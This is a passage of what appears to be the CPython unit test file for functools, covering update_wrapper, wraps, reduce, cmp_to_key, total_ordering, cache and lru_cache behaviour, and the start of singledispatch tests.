f.__qualname__) self.assertEqual(wrapper.__doc__, None) self.assertEqual(wrapper.__annotations__, {}) self.assertFalse(hasattr(wrapper, 'attr')) def test_selective_update(self): def f(): pass f.attr = 'This is a different test' f.dict_attr = dict(a=1, b=2, c=3) def wrapper(): pass wrapper.dict_attr = {} assign = ('attr',) update = ('dict_attr',) functools.update_wrapper(wrapper, f, assign, update) self.check_wrapper(wrapper, f, assign, update) self.assertEqual(wrapper.__name__, 'wrapper') self.assertNotEqual(wrapper.__qualname__, f.__qualname__) self.assertEqual(wrapper.__doc__, None) self.assertEqual(wrapper.attr, 'This is a different test') self.assertEqual(wrapper.dict_attr, f.dict_attr) def test_missing_attributes(self): def f(): pass def wrapper(): pass wrapper.dict_attr = {} assign = ('attr',) update = ('dict_attr',) # Missing attributes on wrapped object are ignored functools.update_wrapper(wrapper, f, assign, update) self.assertNotIn('attr', wrapper.__dict__) self.assertEqual(wrapper.dict_attr, {}) # Wrapper must have expected attributes for updating del wrapper.dict_attr with self.assertRaises(AttributeError): functools.update_wrapper(wrapper, f, assign, update) wrapper.dict_attr = 1 with self.assertRaises(AttributeError): functools.update_wrapper(wrapper, f, assign, update) @support.requires_docstrings @unittest.skipIf(sys.flags.optimize >= 2, "Docstrings are omitted with -O2 and above") def test_builtin_update(self): # Test for bug #1576241 def wrapper(): pass functools.update_wrapper(wrapper, max) self.assertEqual(wrapper.__name__, 'max') self.assertTrue(wrapper.__doc__.startswith('max(')) self.assertEqual(wrapper.__annotations__, {}) class TestWraps(TestUpdateWrapper): def _default_update(self): def f(): """This is a test""" pass f.attr = 'This is also a test' f.__wrapped__ = "This is still a bald faced lie" @functools.wraps(f) def wrapper(): pass return wrapper, f def test_default_update(self): wrapper, f = self._default_update() self.check_wrapper(wrapper, f) self.assertEqual(wrapper.__name__, 'f') self.assertEqual(wrapper.__qualname__, f.__qualname__) self.assertEqual(wrapper.attr, 'This is also a test') @unittest.skipIf(sys.flags.optimize >= 2, "Docstrings are omitted with -O2 and above") def test_default_update_doc(self): wrapper, _ = self._default_update() self.assertEqual(wrapper.__doc__, 'This is a test') def test_no_update(self): def f(): """This is a test""" pass f.attr = 'This is also a test' @functools.wraps(f, (), ()) def wrapper(): pass self.check_wrapper(wrapper, f, (), ()) self.assertEqual(wrapper.__name__, 'wrapper') self.assertNotEqual(wrapper.__qualname__, f.__qualname__) self.assertEqual(wrapper.__doc__, None) self.assertFalse(hasattr(wrapper, 'attr')) def test_selective_update(self): def f(): pass f.attr = 'This is a different test' f.dict_attr = dict(a=1, b=2, c=3) def add_dict_attr(f): f.dict_attr = {} return f assign = ('attr',) update = ('dict_attr',) @functools.wraps(f, assign, update) @add_dict_attr def wrapper(): pass self.check_wrapper(wrapper, f, assign, update) self.assertEqual(wrapper.__name__, 'wrapper') self.assertNotEqual(wrapper.__qualname__, f.__qualname__) self.assertEqual(wrapper.__doc__, None) self.assertEqual(wrapper.attr, 'This is a different test') self.assertEqual(wrapper.dict_attr, f.dict_attr) class TestReduce: def test_reduce(self): class Squares: def __init__(self, max): self.max = max self.sofar = [] def __len__(self): return len(self.sofar) def __getitem__(self, i): if not 0 <= i < self.max: raise IndexError n = len(self.sofar) while n <= i: self.sofar.append(n*n) n += 1 return self.sofar[i] def add(x, y): return x + y self.assertEqual(self.reduce(add, ['a', 'b', 'c'], ''), 'abc') self.assertEqual( self.reduce(add, [['a', 'c'], [], ['d', 'w']], []), ['a','c','d','w'] ) self.assertEqual(self.reduce(lambda x, y: x*y, range(2,8), 1), 5040) self.assertEqual( self.reduce(lambda x, y: x*y, range(2,21), 1), 2432902008176640000 ) self.assertEqual(self.reduce(add, Squares(10)), 285) self.assertEqual(self.reduce(add, Squares(10), 0), 285) self.assertEqual(self.reduce(add, Squares(0), 0), 0) self.assertRaises(TypeError, self.reduce) self.assertRaises(TypeError, self.reduce, 42, 42) self.assertRaises(TypeError, self.reduce, 42, 42, 42) self.assertEqual(self.reduce(42, "1"), "1") # func is never called with one item self.assertEqual(self.reduce(42, "", "1"), "1") # func is never called with one item self.assertRaises(TypeError, self.reduce, 42, (42, 42)) self.assertRaises(TypeError, self.reduce, add, []) # arg 2 must not be empty sequence with no initial value self.assertRaises(TypeError, self.reduce, add, "") self.assertRaises(TypeError, self.reduce, add, ()) self.assertRaises(TypeError, self.reduce, add, object()) class TestFailingIter: def __iter__(self): raise RuntimeError self.assertRaises(RuntimeError, self.reduce, add, TestFailingIter()) self.assertEqual(self.reduce(add, [], None), None) self.assertEqual(self.reduce(add, [], 42), 42) class BadSeq: def __getitem__(self, index): raise ValueError self.assertRaises(ValueError, self.reduce, 42, BadSeq()) # Test reduce()'s use of iterators. def test_iterator_usage(self): class SequenceClass: def __init__(self, n): self.n = n def __getitem__(self, i): if 0 <= i < self.n: return i else: raise IndexError from operator import add self.assertEqual(self.reduce(add, SequenceClass(5)), 10) self.assertEqual(self.reduce(add, SequenceClass(5), 42), 52) self.assertRaises(TypeError, self.reduce, add, SequenceClass(0)) self.assertEqual(self.reduce(add, SequenceClass(0), 42), 42) self.assertEqual(self.reduce(add, SequenceClass(1)), 0) self.assertEqual(self.reduce(add, SequenceClass(1), 42), 42) d = {"one": 1, "two": 2, "three": 3} self.assertEqual(self.reduce(add, d), "".join(d.keys())) @unittest.skipUnless(c_functools, 'requires the C _functools module') class TestReduceC(TestReduce, unittest.TestCase): if c_functools: reduce = c_functools.reduce class TestReducePy(TestReduce, unittest.TestCase): reduce = staticmethod(py_functools.reduce) class TestCmpToKey: def test_cmp_to_key(self): def cmp1(x, y): return (x > y) - (x < y) key = self.cmp_to_key(cmp1) self.assertEqual(key(3), key(3)) self.assertGreater(key(3), key(1)) self.assertGreaterEqual(key(3), key(3)) def cmp2(x, y): return int(x) - int(y) key = self.cmp_to_key(cmp2) self.assertEqual(key(4.0), key('4')) self.assertLess(key(2), key('35')) self.assertLessEqual(key(2), key('35')) self.assertNotEqual(key(2), key('35')) def test_cmp_to_key_arguments(self): def cmp1(x, y): return (x > y) - (x < y) key = self.cmp_to_key(mycmp=cmp1) self.assertEqual(key(obj=3), key(obj=3)) self.assertGreater(key(obj=3), key(obj=1)) with self.assertRaises((TypeError, AttributeError)): key(3) > 1 # rhs is not a K object with self.assertRaises((TypeError, AttributeError)): 1 < key(3) # lhs is not a K object with self.assertRaises(TypeError): key = self.cmp_to_key() # too few args with self.assertRaises(TypeError): key = self.cmp_to_key(cmp1, None) # too many args key = self.cmp_to_key(cmp1) with self.assertRaises(TypeError): key() # too few args with self.assertRaises(TypeError): key(None, None) # too many args def test_bad_cmp(self): def cmp1(x, y): raise ZeroDivisionError key = self.cmp_to_key(cmp1) with self.assertRaises(ZeroDivisionError): key(3) > key(1) class BadCmp: def __lt__(self, other): raise ZeroDivisionError def cmp1(x, y): return BadCmp() with self.assertRaises(ZeroDivisionError): key(3) > key(1) def test_obj_field(self): def cmp1(x, y): return (x > y) - (x < y) key = self.cmp_to_key(mycmp=cmp1) self.assertEqual(key(50).obj, 50) def test_sort_int(self): def mycmp(x, y): return y - x self.assertEqual(sorted(range(5), key=self.cmp_to_key(mycmp)), [4, 3, 2, 1, 0]) def test_sort_int_str(self): def mycmp(x, y): x, y = int(x), int(y) return (x > y) - (x < y) values = [5, '3', 7, 2, '0', '1', 4, '10', 1] values = sorted(values, key=self.cmp_to_key(mycmp)) self.assertEqual([int(value) for value in values], [0, 1, 1, 2, 3, 4, 5, 7, 10]) def test_hash(self): def mycmp(x, y): return y - x key = self.cmp_to_key(mycmp) k = key(10) self.assertRaises(TypeError, hash, k) self.assertNotIsInstance(k, collections.abc.Hashable) @unittest.skipUnless(c_functools, 'requires the C _functools module') class TestCmpToKeyC(TestCmpToKey, unittest.TestCase): if c_functools: cmp_to_key = c_functools.cmp_to_key @support.cpython_only def test_disallow_instantiation(self): # Ensure that the type disallows instantiation (bpo-43916) support.check_disallow_instantiation( self, type(c_functools.cmp_to_key(None)) ) class TestCmpToKeyPy(TestCmpToKey, unittest.TestCase): cmp_to_key = staticmethod(py_functools.cmp_to_key) class TestTotalOrdering(unittest.TestCase): def test_total_ordering_lt(self): @functools.total_ordering class A: def __init__(self, value): self.value = value def __lt__(self, other): return self.value < other.value def __eq__(self, other): return self.value == other.value self.assertTrue(A(1) < A(2)) self.assertTrue(A(2) > A(1)) self.assertTrue(A(1) <= A(2)) self.assertTrue(A(2) >= A(1)) self.assertTrue(A(2) <= A(2)) self.assertTrue(A(2) >= A(2)) self.assertFalse(A(1) > A(2)) def test_total_ordering_le(self): @functools.total_ordering class A: def __init__(self, value): self.value = value def __le__(self, other): return self.value <= other.value def __eq__(self, other): return self.value == other.value self.assertTrue(A(1) < A(2)) self.assertTrue(A(2) > A(1)) self.assertTrue(A(1) <= A(2)) self.assertTrue(A(2) >= A(1)) self.assertTrue(A(2) <= A(2)) self.assertTrue(A(2) >= A(2)) self.assertFalse(A(1) >= A(2)) def test_total_ordering_gt(self): @functools.total_ordering class A: def __init__(self, value): self.value = value def __gt__(self, other): return self.value > other.value def __eq__(self, other): return self.value == other.value self.assertTrue(A(1) < A(2)) self.assertTrue(A(2) > A(1)) self.assertTrue(A(1) <= A(2)) self.assertTrue(A(2) >= A(1)) self.assertTrue(A(2) <= A(2)) self.assertTrue(A(2) >= A(2)) self.assertFalse(A(2) < A(1)) def test_total_ordering_ge(self): @functools.total_ordering class A: def __init__(self, value): self.value = value def __ge__(self, other): return self.value >= other.value def __eq__(self, other): return self.value == other.value self.assertTrue(A(1) < A(2)) self.assertTrue(A(2) > A(1)) self.assertTrue(A(1) <= A(2)) self.assertTrue(A(2) >= A(1)) self.assertTrue(A(2) <= A(2)) self.assertTrue(A(2) >= A(2)) self.assertFalse(A(2) <= A(1)) def test_total_ordering_no_overwrite(self): # new methods should not overwrite existing @functools.total_ordering class A(int): pass self.assertTrue(A(1) < A(2)) self.assertTrue(A(2) > A(1)) self.assertTrue(A(1) <= A(2)) self.assertTrue(A(2) >= A(1)) self.assertTrue(A(2) <= A(2)) self.assertTrue(A(2) >= A(2)) def test_no_operations_defined(self): with self.assertRaises(ValueError): @functools.total_ordering class A: pass def test_type_error_when_not_implemented(self): # bug 10042; ensure stack overflow does not occur # when decorated types return NotImplemented @functools.total_ordering class ImplementsLessThan: def __init__(self, value): self.value = value def __eq__(self, other): if isinstance(other, ImplementsLessThan): return self.value == other.value return False def __lt__(self, other): if isinstance(other, ImplementsLessThan): return self.value < other.value return NotImplemented @functools.total_ordering class ImplementsGreaterThan: def __init__(self, value): self.value = value def __eq__(self, other): if isinstance(other, ImplementsGreaterThan): return self.value == other.value return False def __gt__(self, other): if isinstance(other, ImplementsGreaterThan): return self.value > other.value return NotImplemented @functools.total_ordering class ImplementsLessThanEqualTo: def __init__(self, value): self.value = value def __eq__(self, other): if isinstance(other, ImplementsLessThanEqualTo): return self.value == other.value return False def __le__(self, other): if isinstance(other, ImplementsLessThanEqualTo): return self.value <= other.value return NotImplemented @functools.total_ordering class ImplementsGreaterThanEqualTo: def __init__(self, value): self.value = value def __eq__(self, other): if isinstance(other, ImplementsGreaterThanEqualTo): return self.value == other.value return False def __ge__(self, other): if isinstance(other, ImplementsGreaterThanEqualTo): return self.value >= other.value return NotImplemented @functools.total_ordering class ComparatorNotImplemented: def __init__(self, value): self.value = value def __eq__(self, other): if isinstance(other, ComparatorNotImplemented): return self.value == other.value return False def __lt__(self, other): return NotImplemented with self.subTest("LT < 1"), self.assertRaises(TypeError): ImplementsLessThan(-1) < 1 with self.subTest("LT < LE"), self.assertRaises(TypeError): ImplementsLessThan(0) < ImplementsLessThanEqualTo(0) with self.subTest("LT < GT"), self.assertRaises(TypeError): ImplementsLessThan(1) < ImplementsGreaterThan(1) with self.subTest("LE <= LT"), self.assertRaises(TypeError): ImplementsLessThanEqualTo(2) <= ImplementsLessThan(2) with self.subTest("LE <= GE"), self.assertRaises(TypeError): ImplementsLessThanEqualTo(3) <= ImplementsGreaterThanEqualTo(3) with self.subTest("GT > GE"), self.assertRaises(TypeError): ImplementsGreaterThan(4) > ImplementsGreaterThanEqualTo(4) with self.subTest("GT > LT"), self.assertRaises(TypeError): ImplementsGreaterThan(5) > ImplementsLessThan(5) with self.subTest("GE >= GT"), self.assertRaises(TypeError): ImplementsGreaterThanEqualTo(6) >= ImplementsGreaterThan(6) with self.subTest("GE >= LE"), self.assertRaises(TypeError): ImplementsGreaterThanEqualTo(7) >= ImplementsLessThanEqualTo(7) with self.subTest("GE when equal"): a = ComparatorNotImplemented(8) b = ComparatorNotImplemented(8) self.assertEqual(a, b) with self.assertRaises(TypeError): a >= b with self.subTest("LE when equal"): a = ComparatorNotImplemented(9) b = ComparatorNotImplemented(9) self.assertEqual(a, b) with self.assertRaises(TypeError): a <= b def test_pickle(self): for proto in range(pickle.HIGHEST_PROTOCOL + 1): for name in '__lt__', '__gt__', '__le__', '__ge__': with self.subTest(method=name, proto=proto): method = getattr(Orderable_LT, name) method_copy = pickle.loads(pickle.dumps(method, proto)) self.assertIs(method_copy, method) def test_total_ordering_for_metaclasses_issue_44605(self): @functools.total_ordering class SortableMeta(type): def __new__(cls, name, bases, ns): return super().__new__(cls, name, bases, ns) def __lt__(self, other): if not isinstance(other, SortableMeta): pass return self.__name__ < other.__name__ def __eq__(self, other): if not isinstance(other, SortableMeta): pass return self.__name__ == other.__name__ class B(metaclass=SortableMeta): pass class A(metaclass=SortableMeta): pass self.assertTrue(A < B) self.assertFalse(A > B) @functools.total_ordering class Orderable_LT: def __init__(self, value): self.value = value def __lt__(self, other): return self.value < other.value def __eq__(self, other): return self.value == other.value class TestCache: # This tests that the pass-through is working as designed. # The underlying functionality is tested in TestLRU. def test_cache(self): @self.module.cache def fib(n): if n < 2: return n return fib(n-1) + fib(n-2) self.assertEqual([fib(n) for n in range(16)], [0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610]) self.assertEqual(fib.cache_info(), self.module._CacheInfo(hits=28, misses=16, maxsize=None, currsize=16)) fib.cache_clear() self.assertEqual(fib.cache_info(), self.module._CacheInfo(hits=0, misses=0, maxsize=None, currsize=0)) class TestLRU: def test_lru(self): def orig(x, y): return 3 * x + y f = self.module.lru_cache(maxsize=20)(orig) hits, misses, maxsize, currsize = f.cache_info() self.assertEqual(maxsize, 20) self.assertEqual(currsize, 0) self.assertEqual(hits, 0) self.assertEqual(misses, 0) domain = range(5) for i in range(1000): x, y = choice(domain), choice(domain) actual = f(x, y) expected = orig(x, y) self.assertEqual(actual, expected) hits, misses, maxsize, currsize = f.cache_info() self.assertTrue(hits > misses) self.assertEqual(hits + misses, 1000) self.assertEqual(currsize, 20) f.cache_clear() # test clearing hits, misses, maxsize, currsize = f.cache_info() self.assertEqual(hits, 0) self.assertEqual(misses, 0) self.assertEqual(currsize, 0) f(x, y) hits, misses, maxsize, currsize = f.cache_info() self.assertEqual(hits, 0) self.assertEqual(misses, 1) self.assertEqual(currsize, 1) # Test bypassing the cache self.assertIs(f.__wrapped__, orig) f.__wrapped__(x, y) hits, misses, maxsize, currsize = f.cache_info() self.assertEqual(hits, 0) self.assertEqual(misses, 1) self.assertEqual(currsize, 1) # test size zero (which means "never-cache") @self.module.lru_cache(0) def f(): nonlocal f_cnt f_cnt += 1 return 20 self.assertEqual(f.cache_info().maxsize, 0) f_cnt = 0 for i in range(5): self.assertEqual(f(), 20) self.assertEqual(f_cnt, 5) hits, misses, maxsize, currsize = f.cache_info() self.assertEqual(hits, 0) self.assertEqual(misses, 5) self.assertEqual(currsize, 0) # test size one @self.module.lru_cache(1) def f(): nonlocal f_cnt f_cnt += 1 return 20 self.assertEqual(f.cache_info().maxsize, 1) f_cnt = 0 for i in range(5): self.assertEqual(f(), 20) self.assertEqual(f_cnt, 1) hits, misses, maxsize, currsize = f.cache_info() self.assertEqual(hits, 4) self.assertEqual(misses, 1) self.assertEqual(currsize, 1) # test size two @self.module.lru_cache(2) def f(x): nonlocal f_cnt f_cnt += 1 return x*10 self.assertEqual(f.cache_info().maxsize, 2) f_cnt = 0 for x in 7, 9, 7, 9, 7, 9, 8, 8, 8, 9, 9, 9, 8, 8, 8, 7: # * * * * self.assertEqual(f(x), x*10) self.assertEqual(f_cnt, 4) hits, misses, maxsize, currsize = f.cache_info() self.assertEqual(hits, 12) self.assertEqual(misses, 4) self.assertEqual(currsize, 2) def test_lru_no_args(self): @self.module.lru_cache def square(x): return x ** 2 self.assertEqual(list(map(square, [10, 20, 10])), [100, 400, 100]) self.assertEqual(square.cache_info().hits, 1) self.assertEqual(square.cache_info().misses, 2) self.assertEqual(square.cache_info().maxsize, 128) self.assertEqual(square.cache_info().currsize, 2) def test_lru_bug_35780(self): # C version of the lru_cache was not checking to see if # the user function call has already modified the cache # (this arises in recursive calls and in multi-threading). # This cause the cache to have orphan links not referenced # by the cache dictionary. once = True # Modified by f(x) below @self.module.lru_cache(maxsize=10) def f(x): nonlocal once rv = f'.{x}.' if x == 20 and once: once = False rv = f(x) return rv # Fill the cache for x in range(15): self.assertEqual(f(x), f'.{x}.') self.assertEqual(f.cache_info().currsize, 10) # Make a recursive call and make sure the cache remains full self.assertEqual(f(20), '.20.') self.assertEqual(f.cache_info().currsize, 10) def test_lru_bug_36650(self): # C version of lru_cache was treating a call with an empty **kwargs # dictionary as being distinct from a call with no keywords at all. # This did not result in an incorrect answer, but it did trigger # an unexpected cache miss. @self.module.lru_cache() def f(x): pass f(0) f(0, **{}) self.assertEqual(f.cache_info().hits, 1) def test_lru_hash_only_once(self): # To protect against weird reentrancy bugs and to improve # efficiency when faced with slow __hash__ methods, the # LRU cache guarantees that it will only call __hash__ # only once per use as an argument to the cached function. @self.module.lru_cache(maxsize=1) def f(x, y): return x * 3 + y # Simulate the integer 5 mock_int = unittest.mock.Mock() mock_int.__mul__ = unittest.mock.Mock(return_value=15) mock_int.__hash__ = unittest.mock.Mock(return_value=999) # Add to cache: One use as an argument gives one call self.assertEqual(f(mock_int, 1), 16) self.assertEqual(mock_int.__hash__.call_count, 1) self.assertEqual(f.cache_info(), (0, 1, 1, 1)) # Cache hit: One use as an argument gives one additional call self.assertEqual(f(mock_int, 1), 16) self.assertEqual(mock_int.__hash__.call_count, 2) self.assertEqual(f.cache_info(), (1, 1, 1, 1)) # Cache eviction: No use as an argument gives no additional call self.assertEqual(f(6, 2), 20) self.assertEqual(mock_int.__hash__.call_count, 2) self.assertEqual(f.cache_info(), (1, 2, 1, 1)) # Cache miss: One use as an argument gives one additional call self.assertEqual(f(mock_int, 1), 16) self.assertEqual(mock_int.__hash__.call_count, 3) self.assertEqual(f.cache_info(), (1, 3, 1, 1)) def test_lru_reentrancy_with_len(self): # Test to make sure the LRU cache code isn't thrown-off by # caching the built-in len() function. Since len() can be # cached, we shouldn't use it inside the lru code itself. old_len = builtins.len try: builtins.len = self.module.lru_cache(4)(len) for i in [0, 0, 1, 2, 3, 3, 4, 5, 6, 1, 7, 2, 1]: self.assertEqual(len('abcdefghijklmn'[:i]), i) finally: builtins.len = old_len def test_lru_star_arg_handling(self): # Test regression that arose in ea064ff3c10f @functools.lru_cache() def f(*args): return args self.assertEqual(f(1, 2), (1, 2)) self.assertEqual(f((1, 2)), ((1, 2),)) def test_lru_type_error(self): # Regression test for issue #28653. # lru_cache was leaking when one of the arguments # wasn't cacheable. @functools.lru_cache(maxsize=None) def infinite_cache(o): pass @functools.lru_cache(maxsize=10) def limited_cache(o): pass with self.assertRaises(TypeError): infinite_cache([]) with self.assertRaises(TypeError): limited_cache([]) def test_lru_with_maxsize_none(self): @self.module.lru_cache(maxsize=None) def fib(n): if n < 2: return n return fib(n-1) + fib(n-2) self.assertEqual([fib(n) for n in range(16)], [0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610]) self.assertEqual(fib.cache_info(), self.module._CacheInfo(hits=28, misses=16, maxsize=None, currsize=16)) fib.cache_clear() self.assertEqual(fib.cache_info(), self.module._CacheInfo(hits=0, misses=0, maxsize=None, currsize=0)) def test_lru_with_maxsize_negative(self): @self.module.lru_cache(maxsize=-10) def eq(n): return n for i in (0, 1): self.assertEqual([eq(n) for n in range(150)], list(range(150))) self.assertEqual(eq.cache_info(), self.module._CacheInfo(hits=0, misses=300, maxsize=0, currsize=0)) def test_lru_with_exceptions(self): # Verify that user_function exceptions get passed through without # creating a hard-to-read chained exception. # http://bugs.python.org/issue13177 for maxsize in (None, 128): @self.module.lru_cache(maxsize) def func(i): return 'abc'[i] self.assertEqual(func(0), 'a') with self.assertRaises(IndexError) as cm: func(15) self.assertIsNone(cm.exception.__context__) # Verify that the previous exception did not result in a cached entry with self.assertRaises(IndexError): func(15) def test_lru_with_types(self): for maxsize in (None, 128): @self.module.lru_cache(maxsize=maxsize, typed=True) def square(x): return x * x self.assertEqual(square(3), 9) self.assertEqual(type(square(3)), type(9)) self.assertEqual(square(3.0), 9.0) self.assertEqual(type(square(3.0)), type(9.0)) self.assertEqual(square(x=3), 9) self.assertEqual(type(square(x=3)), type(9)) self.assertEqual(square(x=3.0), 9.0) self.assertEqual(type(square(x=3.0)), type(9.0)) self.assertEqual(square.cache_info().hits, 4) self.assertEqual(square.cache_info().misses, 4) def test_lru_cache_typed_is_not_recursive(self): cached = self.module.lru_cache(typed=True)(repr) self.assertEqual(cached(1), '1') self.assertEqual(cached(True), 'True') self.assertEqual(cached(1.0), '1.0') self.assertEqual(cached(0), '0') self.assertEqual(cached(False), 'False') self.assertEqual(cached(0.0), '0.0') self.assertEqual(cached((1,)), '(1,)') self.assertEqual(cached((True,)), '(1,)') self.assertEqual(cached((1.0,)), '(1,)') self.assertEqual(cached((0,)), '(0,)') self.assertEqual(cached((False,)), '(0,)') self.assertEqual(cached((0.0,)), '(0,)') class T(tuple): pass self.assertEqual(cached(T((1,))), '(1,)') self.assertEqual(cached(T((True,))), '(1,)') self.assertEqual(cached(T((1.0,))), '(1,)') self.assertEqual(cached(T((0,))), '(0,)') self.assertEqual(cached(T((False,))), '(0,)') self.assertEqual(cached(T((0.0,))), '(0,)') def test_lru_with_keyword_args(self): @self.module.lru_cache() def fib(n): if n < 2: return n return fib(n=n-1) + fib(n=n-2) self.assertEqual( [fib(n=number) for number in range(16)], [0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610] ) self.assertEqual(fib.cache_info(), self.module._CacheInfo(hits=28, misses=16, maxsize=128, currsize=16)) fib.cache_clear() self.assertEqual(fib.cache_info(), self.module._CacheInfo(hits=0, misses=0, maxsize=128, currsize=0)) def test_lru_with_keyword_args_maxsize_none(self): @self.module.lru_cache(maxsize=None) def fib(n): if n < 2: return n return fib(n=n-1) + fib(n=n-2) self.assertEqual([fib(n=number) for number in range(16)], [0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610]) self.assertEqual(fib.cache_info(), self.module._CacheInfo(hits=28, misses=16, maxsize=None, currsize=16)) fib.cache_clear() self.assertEqual(fib.cache_info(), self.module._CacheInfo(hits=0, misses=0, maxsize=None, currsize=0)) def test_kwargs_order(self): # PEP 468: Preserving Keyword Argument Order @self.module.lru_cache(maxsize=10) def f(**kwargs): return list(kwargs.items()) self.assertEqual(f(a=1, b=2), [('a', 1), ('b', 2)]) self.assertEqual(f(b=2, a=1), [('b', 2), ('a', 1)]) self.assertEqual(f.cache_info(), self.module._CacheInfo(hits=0, misses=2, maxsize=10, currsize=2)) def test_lru_cache_decoration(self): def f(zomg: 'zomg_annotation'): """f doc string""" return 42 g = self.module.lru_cache()(f) for attr in self.module.WRAPPER_ASSIGNMENTS: self.assertEqual(getattr(g, attr), getattr(f, attr)) def test_lru_cache_threaded(self): n, m = 5, 11 def orig(x, y): return 3 * x + y f = self.module.lru_cache(maxsize=n*m)(orig) hits, misses, maxsize, currsize = f.cache_info() self.assertEqual(currsize, 0) start = threading.Event() def full(k): start.wait(10) for _ in range(m): self.assertEqual(f(k, 0), orig(k, 0)) def clear(): start.wait(10) for _ in range(2*m): f.cache_clear() orig_si = sys.getswitchinterval() support.setswitchinterval(1e-6) try: # create n threads in order to fill cache threads = [threading.Thread(target=full, args=[k]) for k in range(n)] with threading_helper.start_threads(threads): start.set() hits, misses, maxsize, currsize = f.cache_info() if self.module is py_functools: # XXX: Why can be not equal? self.assertLessEqual(misses, n) self.assertLessEqual(hits, m*n - misses) else: self.assertEqual(misses, n) self.assertEqual(hits, m*n - misses) self.assertEqual(currsize, n) # create n threads in order to fill cache and 1 to clear it threads = [threading.Thread(target=clear)] threads += [threading.Thread(target=full, args=[k]) for k in range(n)] start.clear() with threading_helper.start_threads(threads): start.set() finally: sys.setswitchinterval(orig_si) def test_lru_cache_threaded2(self): # Simultaneous call with the same arguments n, m = 5, 7 start = threading.Barrier(n+1) pause = threading.Barrier(n+1) stop = threading.Barrier(n+1) @self.module.lru_cache(maxsize=m*n) def f(x): pause.wait(10) return 3 * x self.assertEqual(f.cache_info(), (0, 0, m*n, 0)) def test(): for i in range(m): start.wait(10) self.assertEqual(f(i), 3 * i) stop.wait(10) threads = [threading.Thread(target=test) for k in range(n)] with threading_helper.start_threads(threads): for i in range(m): start.wait(10) stop.reset() pause.wait(10) start.reset() stop.wait(10) pause.reset() self.assertEqual(f.cache_info(), (0, (i+1)*n, m*n, i+1)) def test_lru_cache_threaded3(self): @self.module.lru_cache(maxsize=2) def f(x): time.sleep(.01) return 3 * x def test(i, x): with self.subTest(thread=i): self.assertEqual(f(x), 3 * x, i) threads = [threading.Thread(target=test, args=(i, v)) for i, v in enumerate([1, 2, 2, 3, 2])] with threading_helper.start_threads(threads): pass def test_need_for_rlock(self): # This will deadlock on an LRU cache that uses a regular lock @self.module.lru_cache(maxsize=10) def test_func(x): 'Used to demonstrate a reentrant lru_cache call within a single thread' return x class DoubleEq: 'Demonstrate a reentrant lru_cache call within a single thread' def __init__(self, x): self.x = x def __hash__(self): return self.x def __eq__(self, other): if self.x == 2: test_func(DoubleEq(1)) return self.x == other.x test_func(DoubleEq(1)) # Load the cache test_func(DoubleEq(2)) # Load the cache self.assertEqual(test_func(DoubleEq(2)), # Trigger a re-entrant __eq__ call DoubleEq(2)) # Verify the correct return value def test_lru_method(self): class X(int): f_cnt = 0 @self.module.lru_cache(2) def f(self, x): self.f_cnt += 1 return x*10+self a = X(5) b = X(5) c = X(7) self.assertEqual(X.f.cache_info(), (0, 0, 2, 0)) for x in 1, 2, 2, 3, 1, 1, 1, 2, 3, 3: self.assertEqual(a.f(x), x*10 + 5) self.assertEqual((a.f_cnt, b.f_cnt, c.f_cnt), (6, 0, 0)) self.assertEqual(X.f.cache_info(), (4, 6, 2, 2)) for x in 1, 2, 1, 1, 1, 1, 3, 2, 2, 2: self.assertEqual(b.f(x), x*10 + 5) self.assertEqual((a.f_cnt, b.f_cnt, c.f_cnt), (6, 4, 0)) self.assertEqual(X.f.cache_info(), (10, 10, 2, 2)) for x in 2, 1, 1, 1, 1, 2, 1, 3, 2, 1: self.assertEqual(c.f(x), x*10 + 7) self.assertEqual((a.f_cnt, b.f_cnt, c.f_cnt), (6, 4, 5)) self.assertEqual(X.f.cache_info(), (15, 15, 2, 2)) self.assertEqual(a.f.cache_info(), X.f.cache_info()) self.assertEqual(b.f.cache_info(), X.f.cache_info()) self.assertEqual(c.f.cache_info(), X.f.cache_info()) def test_pickle(self): cls = self.__class__ for f in cls.cached_func[0], cls.cached_meth, cls.cached_staticmeth: for proto in range(pickle.HIGHEST_PROTOCOL + 1): with self.subTest(proto=proto, func=f): f_copy = pickle.loads(pickle.dumps(f, proto)) self.assertIs(f_copy, f) def test_copy(self): cls = self.__class__ def orig(x, y): return 3 * x + y part = self.module.partial(orig, 2) funcs = (cls.cached_func[0], cls.cached_meth, cls.cached_staticmeth, self.module.lru_cache(2)(part)) for f in funcs: with self.subTest(func=f): f_copy = copy.copy(f) self.assertIs(f_copy, f) def test_deepcopy(self): cls = self.__class__ def orig(x, y): return 3 * x + y part = self.module.partial(orig, 2) funcs = (cls.cached_func[0], cls.cached_meth, cls.cached_staticmeth, self.module.lru_cache(2)(part)) for f in funcs: with self.subTest(func=f): f_copy = copy.deepcopy(f) self.assertIs(f_copy, f) def test_lru_cache_parameters(self): @self.module.lru_cache(maxsize=2) def f(): return 1 self.assertEqual(f.cache_parameters(), {'maxsize': 2, "typed": False}) @self.module.lru_cache(maxsize=1000, typed=True) def f(): return 1 self.assertEqual(f.cache_parameters(), {'maxsize': 1000, "typed": True}) def test_lru_cache_weakrefable(self): @self.module.lru_cache def test_function(x): return x class A: @self.module.lru_cache def test_method(self, x): return (self, x) @staticmethod @self.module.lru_cache def test_staticmethod(x): return (self, x) refs = [weakref.ref(test_function), weakref.ref(A.test_method), weakref.ref(A.test_staticmethod)] for ref in refs: self.assertIsNotNone(ref()) del A del test_function gc.collect() for ref in refs: self.assertIsNone(ref()) @py_functools.lru_cache() def py_cached_func(x, y): return 3 * x + y @c_functools.lru_cache() def c_cached_func(x, y): return 3 * x + y class TestLRUPy(TestLRU, unittest.TestCase): module = py_functools cached_func = py_cached_func, @module.lru_cache() def cached_meth(self, x, y): return 3 * x + y @staticmethod @module.lru_cache() def cached_staticmeth(x, y): return 3 * x + y class TestLRUC(TestLRU, unittest.TestCase): module = c_functools cached_func = c_cached_func, @module.lru_cache() def cached_meth(self, x, y): return 3 * x + y @staticmethod @module.lru_cache() def cached_staticmeth(x, y): return 3 * x + y class TestSingleDispatch(unittest.TestCase): def test_simple_overloads(self): @functools.singledispatch def g(obj): return "base" def g_int(i): return "integer" g.register(int, g_int) self.assertEqual(g("str"), "base") self.assertEqual(g(1), "integer") self.assertEqual(g([1,2,3]), "base") def test_mro(self): @functools.singledispatch def g(obj): return "base" class A: pass class C(A): pass class 